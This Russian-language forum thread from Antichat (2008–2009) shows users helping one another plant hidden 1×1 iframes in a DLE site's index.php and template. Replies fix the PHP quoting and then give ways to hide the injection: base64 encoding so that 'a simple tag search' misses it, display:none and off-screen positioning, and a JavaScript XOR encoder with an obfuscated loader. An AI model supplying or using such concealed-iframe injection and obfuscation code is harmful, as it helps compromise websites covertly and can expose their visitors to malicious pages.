Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   вставка iframe в ПХП (https://forum.antichat.xyz/showthread.php?t=94120)

satana8920 29.11.2008 22:11

вставка iframe в ПХП
 
люди Хелп
есть страница index.php
Кстати скрипт DLE
вставляю фрейм так
PHP код:

$fr'<iframe src='http://xxxxxxxxxx' width=1 height=1></iframe>';
print( base64_encode($fr) ); 

кгда захожу на сайт пишет
Parse error: syntax error, unexpected T_STRING in /home/public_html/index.php on line 227
что такое ??? в чем проблема?
еси кто может помочь напишите в ацку или тут

Kaimi 29.11.2008 22:12

Код:

$fr= "<iframe src='http://xxxxxxxxxx' width=1 height=1></iframe>";
А зачем в базе64 то?

satana8920 29.11.2008 22:14

что б сразу не просекли

astrologer 29.11.2008 22:15

Цитата:

Сообщение от satana8920
что б сразу не просекли

Так он и грузиться не будет
:D

159932 29.11.2008 22:16

$fr= '<iframe src='http://xxxxxxxxxx' width=1 height=1></iframe>';
однако .. это как понимать ?
вот что надо
$fr= '<iframe src=\'http://xxxxxxxxxx\' width=1 height=1></iframe>';

Pashkela 29.11.2008 22:35

PHP код:

$frbase64_encode("<iframe src='http://pashkela.narod.ru' width=100 height=100></iframe>"); 
echo 
base64_decode($fr); 

В общем двойные кавычки нужны в первой строчке, чтобы не было ошибок, просто php после второй одинарной кавычки считает, что кавычки закрылись, и ждет корректного продолжения кода, ну уж никак не http

А дальше как выше и сказали - твой код, даже с исправленными кавычками, просто выведет на экран вот это:

Код:

PGlmcmFtZSBzcmM9J2h0dHA6Ly9wYXNoa2VsYS5uYXJvZC5ydScgd2lkdGg9MTAwIGhlaWdodD0xMDA+PC9pZnJhbWU+

159932 29.11.2008 23:01

какая нах разница как лучше ? у тс трабла была в пхп, а именно с кавычками ..
вы ещё партнёрки тут прорекламте...

DVD_RW, я конечно тоже не знаток-верстальщик .. но твой пример не заработает ни в одном браузере помоему :D

Pashkela 29.11.2008 23:04

лучше тогда уж так:)

PHP код:

<?
$fr
"PGlmcmFtZSBzcmM9J2h0dHA6Ly9wYXNoa2VsYS5uYXJvZC5ydScgd2lkdGg9MTAwIGhlaWdodD0xMDA+PC9pZnJhbWU+"
echo 
base64_decode($fr); 
?>

Скрипт для кодировки ВАШЕГО ифрейма:

PHP код:

<?
$fr
"'<iframe src='http://xxxxxxxxxx' width=1 height=1></iframe>"
echo 
base64_encode($fr); 
?>

И то, что выведется на экран - просто скопировать и вставить в первый скрипт ЭТОГО поста вот сюда:

PHP код:

$fr"сюда_вставить"

и тогда действительно простым поиском по тегам фиг что чел найдет, даже если что-то заподозрит:)

Кодировки можно применять разные

satana8920 29.11.2008 23:39

спс всем траблу пмог решить Kaimi спс ему огромное

-=lebed=- 08.01.2009 18:41

1. Кстати фрейм виден в виде маленького квадратика в Опере. Помню как-то делал его вывод на отдельный слой и за пределы окна страницы, не подскажите?
2. Ну в исходниках на стороне сервера мы маскируем линк кодированием в базе64, надо бы ещё от клиента тоже скрыть линк, поделитесь готовым javascript для этого дела у кого есть...

big_BRAT 08.01.2009 18:55

1. ставим висибл в 0
пример <iframe src="_URL_" style="display:none;"></iframe>
2. есть онлайн утилиты что то типа iframer.ru
смысл сводится к приблизительно такому...
пример document.write(unescape('%3C......'));
тут просто "<iframe src="_UR...." кодируется.

поповоду самого вопроса, в дле лучше всего вставлять в шаблон /teplates/_you_templlate_/main.tpl
вставляй сразу после тега <body>

astrologer 08.01.2009 20:26

Можно самому что-нибудь простое написать, например:
Код:

<pre>
<script>

function encode(s)
{
  s = s.split('');

  var
    l = s.length,
    i = 0,
    a = [],
    r = Math.random,
    n = 0;

  while(i < l)
  {
    a[n++] = s[i++].charCodeAt(0) ^ (a[n++] = r() * 0xFF >> 0 | 0x100) | 0x100;
  }

  return a.join('');

};

function decode(s)
{
  s = s.match(/.{3}/g);

  var
    l = s.length,
    i = 0,
    n = 0,
    r = [];

  while(i < l)
  {
    r[n++] = s[i++] ^ s[i++];
  }

  return String.fromCharCode.apply(null, r);
};

var a = encode('<iframe src="http://www.google.ru" style="position: absolute; left: -10000px"></iframe>');
var b = decode(a);

document.writeln( a );
document.writeln( b.replace(/</g, '&lt;').replace(/>/g, '&gt;') );


</script>
</pre>

Соответственно выглядеть это будет так:
Код:

<script type="text/javascript">

alert
(
  (function(a,i,n,r,f,l){l=a.length;while(i<l)r[n++]=a[i++]^a[i++];return f.apply(null,r);})(
  [
    '397433321296274372313331434467277376415506326358',
    '301350352274427456463498450480340316287363363287',
    '444460382324487456407440296351504399414489272318',
    '290325259364445466500403483399292321311281390500',
    '427478302268478510355272277353450443444464398491',
    '323382368338289337270353411488268357417469398487',
    '422457386492448506347379443474396494509398314341',
    '332288412489509393331302313258402434428448386487',
    '501403498390287293279311408437314267371323257305',
    '495479317269437453280352369339406424384444280311',
    '268357461427281363499402468441399490363341'
  ].join('').match(/.{3}/g),0,0,[],''.constructor['f://rom=C++ha!r^.?C++|{ode;!'.replace(/\W/g,'')])
);

</script>



Время: 18:26